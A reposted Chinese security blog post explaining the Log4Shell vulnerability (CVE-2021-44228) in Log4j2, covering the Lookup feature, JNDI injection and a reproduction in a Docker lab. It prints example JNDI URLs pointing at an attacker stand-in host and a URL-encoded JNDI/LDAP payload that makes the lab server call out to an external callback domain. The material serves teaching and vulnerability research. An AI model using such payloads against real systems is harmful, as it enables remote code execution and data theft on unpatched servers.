文章总结: 该文档详细分析了Log4j2远程代码执行漏洞CVE-2021-44228的原理。核心问题在于Log4j2的JNDILookup功能未对用户输入进行限制,攻击者可通过构造包含恶意JNDI地址的日志内容,触发远程代码执行。文档提供了漏洞触发流程、JNDI注入原理及复现步骤,建议开发人员对用户输入进行严格过滤。 综合评分: 86 文章分类: 漏洞分析,WEB安全,渗透测试
[漏洞原理]| log4j2远程代码执行漏洞原理
原创
devildollking devildollking
熔城Sec
2026年8月26日 09:00 辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。
漏洞描述
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228,俗称 Log4Shell) 是 Java 生态中影响极广的“核弹级”漏洞,CVSS 评分为 10.0(满分)。该漏洞因 Log4j2 日志框架的 JNDI(Java 命名和目录接口)解析缺陷导致,攻击者可通过构造恶意日志内容,实现远程代码执行(RCE),直接获取服务器权限
漏洞触发流程
漏洞描述
Log4j2 漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4请求远程主机上的含有恶意代码的资源并执行其中的代码。
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
Lookup功能
Log4j2的Lookup功能是用于在配置文件中添加值的一种方法,允许你在log4j2.xml中获取项目工程中的变量。通过使用${占位符}语法,你可以在配置文件的任意位置插入变量的值。这个功能使得Log4j2更加灵活,可以根据项目的具体需求进行配置。 例如,你可以使用${sys:my.property}来引用系统属性中的“my.property”值。Log4j2将会使用Lookup函数从系统属性中查找该属性的值,并将其替换为实际值。这种机制使得Log4j2可以根据环境变量、系统属性或其他外部配置来动态调整日志行为。
JNDI
JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
常见的JNDI URL格式
rmi://localhost:1099/MyRemoteObjectldap://attacker.com:1389/evilObjectdns://attacker.com/evilObjectiiop://localhost:900/MyObject
整个JNDI注入的关键点是 javax.naming.Context.lookup() 方法。当JNDI的Provider URL可控时,攻击者可以传入恶意的远程地址,触发以下流程:
漏洞复现
环境搭建
在docker中搭建靶场
拉取镜像
for mirror in dockerproxy.net docker.m.daocloud.io docker.1panel.live hub-mirror.c.163.com docker.mirrors.ustc.edu.cn; do echo "==> Trying $mirror" docker pull $mirror/vulfocus/log4j2-cve-2021-44228 && { docker tag $mirror/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228 echo "Success with $mirror" break }done
重新打标签
docker tag dockerproxy.net/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228:latest
验证:
docker images | grep log4j2
先查看镜像暴露的端口
docker inspect vulfocus/log4j2-cve-2021-44228:latest | grep -A 10 ExposedPorts
启动容器
docker run -d --name log4j2-test -p 8080:8080 vulfocus/log4j2-cve-2021-44228:latest
查看容器日志,确认启动状态
docker logs -f log4j2-test
访问漏洞环境
http://localhost:8080
利用yakit平台获取一个域名,将数据外带出来
构造payload
${jndi://ldap://xvbugdbbsd.iyhc.eu.org}
对URL进行编码处理
进行payload构造
localhost:8080/hello?payload=%24%7Bjndi%3A%2F%2Fldap%3A%2F%2Fxvbugdbbsd.iyhc.eu.org%7D
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:熔城Sec devildollking devildollking《[漏洞原理]| log4j2远程代码执行漏洞原理》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。



![[漏洞原理]|log4j2远程代码执行漏洞原理](/images/random/titlepic/13.jpg)






评论